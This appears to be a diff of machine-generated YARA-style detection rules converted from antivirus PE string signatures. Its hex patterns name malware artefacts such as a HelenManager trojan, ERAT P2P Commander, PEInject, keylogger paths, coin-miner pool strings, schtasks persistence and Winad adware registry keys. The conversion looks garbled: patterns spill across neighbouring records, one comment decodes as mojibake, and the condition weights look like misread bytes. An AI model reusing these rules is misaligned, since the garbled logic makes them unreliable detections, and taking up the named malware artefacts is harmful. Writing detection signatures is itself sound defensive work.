_InfrastructureShared_19213{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*78+(#a_00_3 & 1)*106) >=1 } -rule _InfrastructureShared_19214{ +rule _InfrastructureShared_20413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -236500,7 +251346,7 @@ rule _InfrastructureShared_19214{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*13106+(#a_31_3 & 1)*17205) >=1 } -rule _InfrastructureShared_19215{ +rule _InfrastructureShared_20414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -236513,7 +251359,7 @@ rule _InfrastructureShared_19215{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*23652+(#a_30_2 & 1)*23600+(#a_5c_3 & 1)*14456) >=1 } -rule _InfrastructureShared_19216{ +rule _InfrastructureShared_20415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -236532,7 +251378,7 @@ rule _InfrastructureShared_19216{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*384+(#a_43_2 & 1)*28750+(#a_77_3 & 1)*18796+(#a_56_4 & 1)*25193+(#a_46_5 & 1)*31348+(#a_01_6 & 1)*-28672+(#a_75_7 & 1)*26144+(#a_09_8 & 1)*31277+(#a_6f_9 & 1)*28257) >=1 } -rule _InfrastructureShared_19217{ +rule _InfrastructureShared_20416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -236548,7 +251394,7 @@ rule _InfrastructureShared_19217{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_09_2 & 1)*14637+(#a_5a_3 & 1)*16762+(#a_09_4 & 1)*11408+(#a_2d_5 & 1)*14637+(#a_00_6 & 1)*97) >=2 } -rule _InfrastructureShared_19218{ +rule _InfrastructureShared_20417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -236563,7 +251409,7 @@ rule _InfrastructureShared_19218{ ((#a_46_0 & 1)*16675+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=2 } -rule _InfrastructureShared_19219{ +rule _InfrastructureShared_20418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -236577,7 +251423,7 @@ rule _InfrastructureShared_19219{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_2c_2 & 1)*2+(#a_00_4 & 1)*71+(#a_0c_5 & 1)*32174) >=6 } -rule _InfrastructureShared_19220{ +rule _InfrastructureShared_20419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -236595,7 +251441,7 @@ rule _InfrastructureShared_19220{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*-7882+(#a_06_2 & 1)*8024+(#a_52_5 & 1)*21320+(#a_6e_6 & 1)*385+(#a_65_8 & 1)*385+(#a_55_9 & 1)*-32497+(#a_50_10 & 1)*29793+(#a_75_11 & 1)*29541) >=12 } -rule _InfrastructureShared_19221{ +rule _InfrastructureShared_20420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -236619,7 +251465,7 @@ rule _InfrastructureShared_19221{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_49_2 & 1)*-32499+(#a_46_3 & 1)*27503+(#a_01_4 & 1)*29813+(#a_56_5 & 1)*22842+(#a_00_7 & 1)*115+(#a_00_8 & 1)*31277+(#a_00_9 & 1)*98+(#a_00_10 & 1)*82+(#a_01_11 & 1)*-28587+(#a_01_12 & 1)*-28587+(#a_8d_13 & 1)*28932+(#a_90_14 & 1)*1025+(#a_7c_15 & 1)*400) >=16 } -rule _InfrastructureShared_19222{ +rule _InfrastructureShared_20421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -236633,7 +251479,7 @@ rule _InfrastructureShared_19222{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585+(#a_00_2 & 1)*115+(#a_7a_3 & 1)*24922+(#a_2d_4 & 1)*14637) >=1 } -rule _InfrastructureShared_19223{ +rule _InfrastructureShared_20422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -236645,7 +251491,7 @@ rule _InfrastructureShared_19223{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-30718+(#a_71_2 & 1)*-29435) >=3 } -rule _InfrastructureShared_19224{ +rule _InfrastructureShared_20423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -236658,7 +251504,7 @@ rule _InfrastructureShared_19224{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_61_3 & 1)*11585) >=4 } -rule _InfrastructureShared_19225{ +rule _InfrastructureShared_20424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 14 00 21 " @@ -236668,25 +251514,45 @@ rule _InfrastructureShared_19225{ $a_5f_2 = {90 49 9a 79 3f 00 01 00 0a 01 be f5 15 44 94 46 cc 96 d5 00 01 00 0a 01 cb 4f 90 45 e2 b7 d6 5d 76 00 01 00 0a 01 e7 71 35 15 30 6d 5e b0 66 00 01 00 0a 01 86 98 d5 46 23 cb 95 77 74 00 01 00 0a 01 37 c0 74 f8 ee 17 73 a7 41 00 01 00 0a 01 3f ce a3 d7 e4 e4 0c 56 e3 00 01 00 14 01 56 fe 8d } //23809 $a_55_3 = {8d 53 16 43 47 e5 92 5b 0d 16 47 00 03 00 0f 01 44 6f 77 6e 6c 6f 61 64 65 72 5f 50 6f 63 6f 03 00 0e 01 70 6f 63 6f 2d 31 2e 37 2e 33 2d 61 6c 6c 03 00 24 01 62 62 66 37 62 39 66 32 2d 33 36 65 65 2d } //4177 $a_36_4 = {39 32 35 38 2d 63 32 37 33 30 38 31 30 32 35 32 61 03 00 24 01 31 62 38 32 33 32 66 36 2d 36 38 30 36 2d 34 37 33 33 2d 39 30 31 64 2d 36 32 62 66 33 65 66 33 33 65 36 63 05 00 3c 01 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 50 6f 63 6f 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 50 6f 63 6f 4c 69 62 5c 50 6f 63 6f } //25140 - $a_6c_5 = {64 65 5c 69 6e 63 6c 75 64 65 5c 50 6f 63 6f 00 00 78 af 01 00 0e 00 0e 00 0c 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 0a 00 16 01 70 75 62 6c 69 63 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 02 00 45 03 5c 5c 2e 5c 50 68 79 73 69 63 61 6c 44 72 69 } //28233 - $a_64_6 = {90 02 04 5c 5c 2e 5c 49 44 45 32 31 32 30 31 2e 56 58 44 00 00 00 00 53 43 53 49 44 49 53 4b 00 00 00 00 5c 5c } //25974 - $a_63_7 = {69 25 64 3a 00 90 00 02 00 40 01 38 30 37 35 63 31 62 35 35 35 32 33 64 35 34 38 35 38 37 39 64 32 36 39 62 32 38 36 65 61 30 62 33 62 35 35 65 39 30 37 35 33 39 32 64 63 65 30 64 35 66 36 65 63 39 61 38 66 64 66 61 35 33 31 02 00 27 01 48 4b 45 59 } //23598 - $a_43_8 = {4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 64 55 70 64 61 74 65 73 01 00 28 01 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 01 00 1a 01 50 } //19551 - $a_72_9 = {6d 20 46 69 6c 65 73 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 01 00 0e 01 57 69 6e 41 64 53 68 69 66 74 2e 64 6c 6c 01 00 0a 01 57 69 6e 61 64 58 2e 44 4c 4c 01 00 10 01 57 69 6e 64 6f 77 73 20 53 79 6e 63 72 6f 41 64 01 00 13 01 2f 52 65 6c 65 61 73 65 2f 57 69 6e 43 6c 74 2e 65 78 65 01 00 12 01 2f 52 65 6c } //28530 - $a_65_10 = {57 69 6e 61 64 2e 65 78 65 01 00 0b 01 57 69 6e 6f 63 6b 58 2e 44 4c 4c 00 00 78 af 01 00 64 00 64 00 0e 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 31 33 30 33 33 2e 42 00 02 00 47 03 81 f9 8e 4e 0e ec 74 90 01 01 81 f9 aa fc 0d 7c 74 90 01 01 81 f9 54 ca af 91 75 90 01 01 0f b7 03 8b 55 1c 8d 04 82 03 c6 81 f9 8e 4e } //24933 - $a_90_11 = {01 8b 00 03 c6 89 44 24 20 eb 90 01 01 81 f9 aa fc 0d 7c 90 00 01 00 0d 00 2f 73 65 61 72 63 68 3f 68 6c 3d 25 73 01 00 1e 00 47 65 74 4e 61 74 69 76 65 53 79 73 74 65 6d 49 6e 66 6f 20 25 30 38 78 2d 25 30 38 78 2d 01 00 09 00 44 47 47 59 44 53 59 52 4c 01 00 06 00 41 67 74 69 64 3a 01 00 09 80 01 25 73 20 25 64 2e 64 61 74 01 00 0e 80 01 55 70 6c } //-5106 - $a_20_12 = {61 69 6c 65 64 21 01 00 1f 00 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 53 74 61 72 74 44 65 76 69 63 65 53 79 6e 63 01 00 27 00 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 53 79 73 74 65 6d 44 65 76 69 63 65 42 61 63 6b 75 70 01 00 0a 00 48 69 4a 61 63 6b 2e 64 6c 6c 01 00 } //24943 - $a_4d_13 = {63 72 6f 73 6f 66 74 5c 44 65 76 69 63 65 53 79 6e 63 5c 42 61 63 6b 75 70 2e 62 61 74 01 00 0b 00 63 72 70 74 73 72 76 2e 64 6c 6c 01 00 29 00 2f 73 65 61 72 63 68 3f 68 6c 3d 25 73 26 67 6f 3d 26 71 73 3d 6e 26 66 6f 72 6d 3d 51 42 52 45 26 66 69 6c 74 3d 61 6c 6c 01 00 11 } //32 - $a_6e_14 = {74 20 6f 70 65 6e 20 73 68 65 6c 6c 21 00 00 05 00 78 b0 01 00 01 00 01 00 17 00 21 23 48 53 54 52 3a 43 6f 69 6e 4d 69 6e 65 72 21 62 69 74 00 01 00 0f 02 5c 6d 69 6e 65 72 90 19 01 03 61 2d 7a 90 00 01 00 0f 02 2f 6d 69 6e 65 72 90 19 01 03 61 2d 7a 90 00 01 00 15 02 5c 00 6d 00 69 00 6e } //17152 - $a_03_16 = {61 } //11408 a - $a_00_17 = {01 00 15 02 2f 00 6d 00 69 00 6e 00 65 00 72 00 90 2c 01 03 61 2d 7a 90 00 01 00 09 81 01 78 6d 72 2d 6d 69 6e 65 72 01 00 08 81 01 78 6d 72 6d 69 6e 65 72 01 00 08 81 01 63 70 75 6d 69 6e 65 72 01 00 09 81 01 6e 68 65 71 6d 69 6e 65 72 01 00 08 81 01 65 74 68 6d 69 6e 65 72 01 00 07 81 01 63 63 6d 69 6e 65 72 01 00 0a 81 01 73 69 6c 65 6e 74 61 72 6d 79 01 00 07 80 01 43 4e 4d 69 6e 65 72 01 00 0e 81 01 73 74 72 61 74 75 6d 2b } //31277 - $a_3a_18 = {2f 01 00 1e 03 73 00 74 00 72 00 61 00 74 00 75 00 6d 00 2e 00 90 1d 16 00 2e 00 90 1d 08 00 3a 00 90 00 01 00 14 03 73 74 72 61 74 75 6d 2e 90 1d 16 00 2e 90 1d 08 00 3a 90 00 01 00 07 01 78 6d 72 2e 62 61 74 01 00 09 81 01 6d 69 6e 65 72 67 61 74 65 01 00 17 03 70 00 6f 00 6f 00 6c 00 2e 00 90 02 10 78 00 6d 00 72 00 2e 00 90 00 01 } //25460 - $a_70_19 = {6f 6c 2e } //3584 ol. + $a_6c_5 = {64 65 5c 69 6e 63 6c 75 64 65 5c 50 6f 63 6f 00 00 78 af 01 00 08 00 08 00 10 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 6c 65 6e 4d 61 6e 61 67 65 72 2e 41 21 64 68 61 00 01 00 12 01 43 6c 6f 73 65 43 6f 6e 6e 65 63 74 69 6f 6e 44 6c 67 01 00 0c 01 42 61 74 63 68 } //28233 + $a_6e_6 = {6c 67 01 00 0d 01 43 6d 64 53 65 74 74 69 6e 67 44 6c 67 01 00 13 01 43 75 73 74 6f 6d 54 72 65 65 43 68 69 6c 64 43 74 72 6c 01 00 12 01 44 6f 6d 61 69 6e 49 50 45 6e 63 6f 64 65 72 44 6c 67 01 00 13 01 50 32 50 43 6f 6e 66 69 67 53 65 74 74 69 6e 67 44 6c 67 01 00 0f 01 53 68 65 6c 6c 4e 6f 74 69 66 79 69 63 6f 6e 01 00 10 01 55 73 65 53 68 47 65 74 46 } //28484 + $a_49_7 = {66 6f 01 00 07 01 42 43 6d 64 44 6c 67 01 00 07 01 42 4d 61 6e 41 70 70 01 00 24 01 45 00 52 00 41 00 54 00 20 00 50 00 32 00 50 00 2e 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 65 00 72 00 01 00 20 01 45 00 52 00 41 00 54 00 20 00 54 00 2e 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 65 00 72 00 01 } //27753 + $a_55_8 = {53 } //5632 S + $a_00_10 = {6e 00 69 00 74 00 6f 00 72 00 01 00 16 01 42 00 5f 00 54 00 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 01 00 28 01 50 00 45 00 49 00 6e 00 6a 00 65 00 63 00 74 00 20 00 22 00 5b 00 25 00 73 00 5d 00 20 00 5b 00 25 00 73 00 5d 00 22 00 01 00 16 01 4b 00 45 00 59 00 4c 00 4f 00 47 00 5f 00 50 00 41 00 54 00 48 00 00 00 78 af 01 } //77 + $a_61_13 = {65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 0a 00 16 01 70 75 62 6c 69 63 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 02 00 45 03 5c 5c 2e 5c 50 68 79 73 69 63 61 6c 44 72 69 76 65 25 64 00 [0-04] 5c 5c 2e 5c 49 44 45 32 31 32 30 31 2e 56 58 44 00 00 00 00 53 43 53 49 44 49 53 4b 00 00 00 00 5c 5c 2e 5c 53 63 73 69 25 64 3a 00 } //25665 + $a_01_14 = {38 30 37 35 63 31 62 35 35 35 32 33 64 35 34 38 35 38 37 39 64 32 36 39 62 32 38 36 65 61 30 62 33 62 35 35 65 39 30 37 35 33 39 32 64 63 65 30 64 35 66 36 65 63 39 61 38 66 64 66 61 35 33 31 } //2 8075c1b55523d5485879d269b286ea0b3b55e9075392dce0d5f6ec9a8fdfa531 + $a_01_15 = {48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 64 55 70 64 61 74 65 73 } //2 HKEY_LOCAL_MACHINE\SOFTWARE\WindUpdates + $a_01_16 = {48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 } //1 HKEY_LOCAL_MACHINE\SOFTWARE\Winad Client + $a_01_17 = {50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 } //1 Program Files\Winad Client + $a_01_18 = {57 69 6e 41 64 53 68 69 66 74 2e 64 6c 6c } //1 WinAdShift.dll + $a_01_19 = {57 69 6e 61 64 58 2e 44 4c 4c } //1 WinadX.DLL condition: - ((#a_46_0 & 1)*16675+(#a_91_1 & 1)*264+(#a_5f_2 & 1)*23809+(#a_55_3 & 1)*4177+(#a_36_4 & 1)*25140+(#a_6c_5 & 1)*28233+(#a_64_6 & 1)*25974+(#a_63_7 & 1)*23598+(#a_43_8 & 1)*19551+(#a_72_9 & 1)*28530+(#a_65_10 & 1)*24933+(#a_90_11 & 1)*-5106+(#a_20_12 & 1)*24943+(#a_4d_13 & 1)*32+(#a_6e_14 & 1)*17152+(#a_03_16 & 1)*11408+(#a_00_17 & 1)*31277+(#a_3a_18 & 1)*25460+(#a_70_19 & 1)*3584) >=5 + ((#a_46_0 & 1)*16675+(#a_91_1 & 1)*264+(#a_5f_2 & 1)*23809+(#a_55_3 & 1)*4177+(#a_36_4 & 1)*25140+(#a_6c_5 & 1)*28233+(#a_6e_6 & 1)*28484+(#a_49_7 & 1)*27753+(#a_55_8 & 1)*5632+(#a_00_10 & 1)*77+(#a_61_13 & 1)*25665+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1) >=5 } -rule _InfrastructureShared_19226{ +rule _InfrastructureShared_20425{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 6c 65 6e 4d 61 6e 61 67 65 72 2e 41 21 64 68 61 00 01 00 12 01 43 6c 6f 73 65 43 6f 6e 6e 65 63 74 69 6f 6e 44 6c 67 01 00 0c 01 42 61 74 63 68 44 6f 77 6e 44 6c 67 01 00 0d } //16675 剅吺潲慪㩮楗㙮⼴效敬䵮湡条牥䄮搡慨Āሀ䌁潬敳潃湮捥楴湯汄ŧఀ䈁瑡档潄湷汄ŧഀ + $a_64_1 = {65 74 74 69 6e 67 44 6c 67 01 00 13 01 43 75 73 74 6f 6d 54 72 65 65 43 68 69 6c 64 43 74 72 6c 01 00 12 01 44 6f 6d 61 69 6e 49 50 45 6e 63 6f 64 65 72 44 6c 67 01 00 13 01 50 32 50 43 6f 6e 66 69 67 53 65 74 74 69 6e 67 44 6c 67 01 00 0f 01 53 68 65 6c 6c 4e 6f 74 69 66 79 69 63 6f 6e 01 00 10 01 55 73 65 53 68 47 65 74 46 } //17153 + $a_49_2 = {66 6f 01 00 07 01 42 43 6d 64 44 6c 67 01 00 07 01 42 4d 61 6e 41 70 70 01 00 24 01 45 00 52 00 41 00 54 00 20 00 50 00 32 00 50 00 2e 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 65 00 72 00 01 00 20 01 45 00 52 00 41 00 54 00 20 00 54 00 2e 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 65 00 72 00 01 } //27753 + $a_55_3 = {53 } //5632 S + $a_00_5 = {6e 00 69 00 74 00 6f 00 72 00 01 00 16 01 42 00 5f 00 54 00 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 01 00 28 01 50 00 45 00 49 00 6e 00 6a 00 65 00 63 00 74 00 20 00 22 00 5b 00 25 00 73 00 5d 00 20 00 5b 00 25 00 73 00 5d 00 22 00 01 00 16 01 4b 00 45 00 59 00 4c 00 4f 00 47 00 5f 00 50 00 41 00 54 00 48 00 00 00 78 af 01 } //77 + $a_61_8 = {65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 0a 00 16 01 70 75 62 6c 69 63 2e 77 69 6e 64 75 70 64 61 74 65 73 2e 63 6f 6d 02 00 45 03 5c 5c 2e 5c 50 68 79 73 69 63 61 6c 44 72 69 76 65 25 64 00 [0-04] 5c 5c 2e 5c 49 44 45 32 31 32 30 31 2e 56 58 44 00 00 00 00 53 43 53 49 44 49 53 4b 00 00 00 00 5c 5c 2e 5c 53 63 73 69 25 64 3a 00 } //25665 + $a_01_9 = {38 30 37 35 63 31 62 35 35 35 32 33 64 35 34 38 35 38 37 39 64 32 36 39 62 32 38 36 65 61 30 62 33 62 35 35 65 39 30 37 35 33 39 32 64 63 65 30 64 35 66 36 65 63 39 61 38 66 64 66 61 35 33 31 } //2 8075c1b55523d5485879d269b286ea0b3b55e9075392dce0d5f6ec9a8fdfa531 + $a_01_10 = {48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 64 55 70 64 61 74 65 73 } //2 HKEY_LOCAL_MACHINE\SOFTWARE\WindUpdates + $a_01_11 = {48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 } //1 HKEY_LOCAL_MACHINE\SOFTWARE\Winad Client + $a_01_12 = {50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 57 69 6e 61 64 20 43 6c 69 65 6e 74 } //1 Program Files\Winad Client + $a_01_13 = {57 69 6e 41 64 53 68 69 66 74 2e 64 6c 6c } //1 WinAdShift.dll + $a_01_14 = {57 69 6e 61 64 58 2e 44 4c 4c } //1 WinadX.DLL + $a_01_15 = {57 69 6e 64 6f 77 73 20 53 79 6e 63 72 6f 41 64 } //1 Windows SyncroAd + condition: + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*17153+(#a_49_2 & 1)*27753+(#a_55_3 & 1)*5632+(#a_00_5 & 1)*77+(#a_61_8 & 1)*25665+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=8 + +} +rule _InfrastructureShared_20426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 21 " @@ -236705,7 +251571,7 @@ rule _InfrastructureShared_19226{ ((#a_77_0 & 1)*16675+(#a_5c_2 & 1)*0+(#a_41_3 & 1)*24396+(#a_20_4 & 1)*24946+(#a_78_5 & 1)*11876+(#a_8e_6 & 1)*-32314+(#a_61_7 & 1)*23651+(#a_27_9 & 1)*24899+(#a_02_10 & 1)*1+(#a_81_11 & 1)*1) >=14 } -rule _InfrastructureShared_19227{ +rule _InfrastructureShared_20427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 0e 00 21 " @@ -236728,7 +251594,7 @@ rule _InfrastructureShared_19227{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*17545+(#a_76_2 & 1)*29793+(#a_53_3 & 1)*25449+(#a_72_4 & 1)*29808+(#a_03_5 & 1)*6544+(#a_00_6 & 1)*31277+(#a_72_7 & 1)*28265+(#a_00_8 & 1)*144+(#a_72_9 & 1)*30721+(#a_6d_10 & 1)*29808+(#a_00_11 & 1)*32+(#a_00_12 & 1)*32+(#a_00_13 & 1)*144) >=100 } -rule _InfrastructureShared_19228{ +rule _InfrastructureShared_20428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 17 00 21 " @@ -236755,7 +251621,7 @@ rule _InfrastructureShared_19228{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*110+(#a_79_3 & 1)*29281+(#a_65_4 & 1)*24935+(#a_23_5 & 1)*5+(#a_53_6 & 1)*29285+(#a_09_7 & 1)*31277+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637+(#a_43_11 & 1)*14848+(#a_00_13 & 1)*108+(#a_73_14 & 1)*266+(#a_35_15 & 1)*17721+(#a_42_16 & 1)*13621+(#a_6f_17 & 1)*25705+(#a_02_18 & 1)*-31992+(#a_00_20 & 1)*108+(#a_00_22 & 1)*60) >=1 } -rule _InfrastructureShared_19229{ +rule _InfrastructureShared_20429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -236768,7 +251634,7 @@ rule _InfrastructureShared_19229{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_2c_3 & 1)*32+(#a_00_4 & 1)*103) >=2 } -rule _InfrastructureShared_19230{ +rule _InfrastructureShared_20430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0c 00 21 " @@ -236787,7 +251653,7 @@ rule _InfrastructureShared_19230{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*4608+(#a_00_2 & 1)*18756+(#a_33_3 & 1)*12600+(#a_42_4 & 1)*13621+(#a_6f_5 & 1)*25705+(#a_02_6 & 1)*-31992+(#a_00_8 & 1)*108+(#a_00_10 & 1)*60+(#a_75_11 & 1)*29513) >=5 } -rule _InfrastructureShared_19231{ +rule _InfrastructureShared_20431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -236804,7 +251670,7 @@ rule _InfrastructureShared_19231{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_3 & 1)*111+(#a_00_4 & 1)*105+(#a_01_5 & 1)*20308+(#a_65_6 & 1)*24948+(#a_78_7 & 1)*11883+(#a_00_9 & 1)*85) >=6 } -rule _InfrastructureShared_19232{ +rule _InfrastructureShared_20432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffbe 00 ffffffb9 00 0d 00 21 " @@ -236823,7 +251689,7 @@ rule _InfrastructureShared_19232{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28673+(#a_00_3 & 1)*71+(#a_00_6 & 1)*117+(#a_33_7 & 1)*26967+(#a_5b_8 & 1)*-1+(#a_c1_9 & 1)*-29704+(#a_90_10 & 1)*-3568+(#a_01_11 & 1)*20735+(#a_00_12 & 1)*3) >=185 } -rule _InfrastructureShared_19233{ +rule _InfrastructureShared_20433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -236836,7 +251702,7 @@ rule _InfrastructureShared_19233{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-6189+(#a_83_2 & 1)*4132+(#a_89_3 & 1)*17160) >=1 } -rule _InfrastructureShared_19234{ +rule _InfrastructureShared_20434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -236856,7 +251722,7 @@ rule _InfrastructureShared_19234{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_b1_10 & 1)*0+(#a_6c_11 & 1)*25197) >=1 } -rule _InfrastructureShared_19235{ +rule _InfrastructureShared_20435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -236871,7 +251737,7 @@ rule _InfrastructureShared_19235{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28268+(#a_5c_2 & 1)*29769+(#a_6e_3 & 1)*25185+(#a_00_5 & 1)*-20104+(#a_48_7 & 1)*8448) >=8 } -rule _InfrastructureShared_19236{ +rule _InfrastructureShared_20436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -236889,7 +251755,7 @@ rule _InfrastructureShared_19236{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*12901+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_01_6 & 1)*1+(#a_b1_7 & 1)*0+(#a_69_8 & 1)*26994) >=9 } -rule _InfrastructureShared_19237{ +rule _InfrastructureShared_20437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -236908,7 +251774,7 @@ rule _InfrastructureShared_19237{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*385+(#a_65_2 & 1)*30510+(#a_5c_3 & 1)*13423+(#a_65_4 & 1)*23662+(#a_64_5 & 1)*19502+(#a_43_6 & 1)*14392+(#a_61_7 & 1)*27758+(#a_33_8 & 1)*21102+(#a_70_9 & 1)*29783) >=10 } -rule _InfrastructureShared_19238{ +rule _InfrastructureShared_20438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -236929,7 +251795,7 @@ rule _InfrastructureShared_19238{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*14387+(#a_6f_2 & 1)*28279+(#a_6d_3 & 1)*12376+(#a_00_4 & 1)*15677+(#a_59_5 & 1)*385+(#a_52_6 & 1)*28257+(#a_00_8 & 1)*117+(#a_00_9 & 1)*38+(#a_39_10 & 1)*12297+(#a_90_11 & 1)*21842+(#a_01_12 & 1)*5631) >=13 } -rule _InfrastructureShared_19239{ +rule _InfrastructureShared_20439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -236944,7 +251810,7 @@ rule _InfrastructureShared_19239{ ((#a_46_0 & 1)*16675+(#a_7d_2 & 1)*6261+(#a_00_3 & 1)*50+(#a_2d_4 & 1)*23085+(#a_fc_5 & 